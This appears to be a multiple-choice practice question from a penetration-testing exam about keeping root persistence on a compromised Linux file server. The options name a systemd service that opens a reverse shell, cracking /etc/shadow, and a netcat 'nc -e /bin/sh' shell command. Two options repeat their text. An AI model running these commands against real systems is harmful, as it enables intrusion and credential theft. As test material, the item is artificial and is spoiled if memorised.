A Penetration Tester Has Obtained Root Access to a Linux-Based

question 8

Multiple Choice

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

• A) Create a one-shot systemd service to establish a reverse shell.
• B) Obtain /etc/shadow and brute force the root password. Obtain /etc/shadow and brute force the root password.
• C) Run the nc -e /bin/sh <...> command. Run the nc -e /bin/sh <...> command.
• D) Move laterally to create a user account on LDAP

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